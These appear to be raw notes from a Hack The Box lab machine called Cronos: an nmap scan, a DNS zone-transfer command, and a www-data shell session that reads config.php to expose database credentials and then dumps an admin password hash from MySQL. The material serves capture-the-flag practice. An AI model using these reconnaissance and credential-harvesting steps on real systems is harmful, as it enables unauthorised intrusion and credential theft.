PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

dig axfr @10.10.10.13 cronos.htb

www-data@cronos:/var/www/admin$ cat config.php
cat config.php                                                               
<?php                                                                        
   define('DB_SERVER', 'localhost');                                         
   define('DB_USERNAME', 'admin');                                           
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');                             
   define('DB_DATABASE', 'admin');                                           
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);      
?>    

mysql> show databases;
show databases;                                                                                                                                                                                                                                                                                     
+--------------------+                                                                                                                                                                                                                                                                              
| Database           |                                                                                                                                                                                                                                                                              
+--------------------+                                                                                                                                                                                                                                                                              
| information_schema |                                                                                                                                                                                                                                                                              
| admin              |                                                                                                                                                                                                                                                                              
+--------------------+                                                                                                                                                                                                                                                                              
2 rows in set (0.00 sec)                                                     
                                                                             
mysql> use admin;                                                            
use admin;                                                                   
Reading table information for completion of table and column names           
You can turn off this feature to get a quicker startup with -A               
                                                                             
Database changed                                                             
mysql> show tables;                                                          
show tables;                                                                 
+-----------------+                                                          
| Tables_in_admin |                                                          
+-----------------+                                                          
| users           |                                                          
+-----------------+                                                          
1 row in set (0.00 sec)                                                      
                                                                             
mysql> select * from users;                                                  
select * from users;                                                         
+----+----------+----------------------------------+                         
| id | username | password                         |                         
+----+----------+----------------------------------+                         
|  1 | admin    | 4f5fffa7b2340178a716e3832451e058 |                         
+----+----------+----------------------------------+                         
1 row in set (0.00 sec)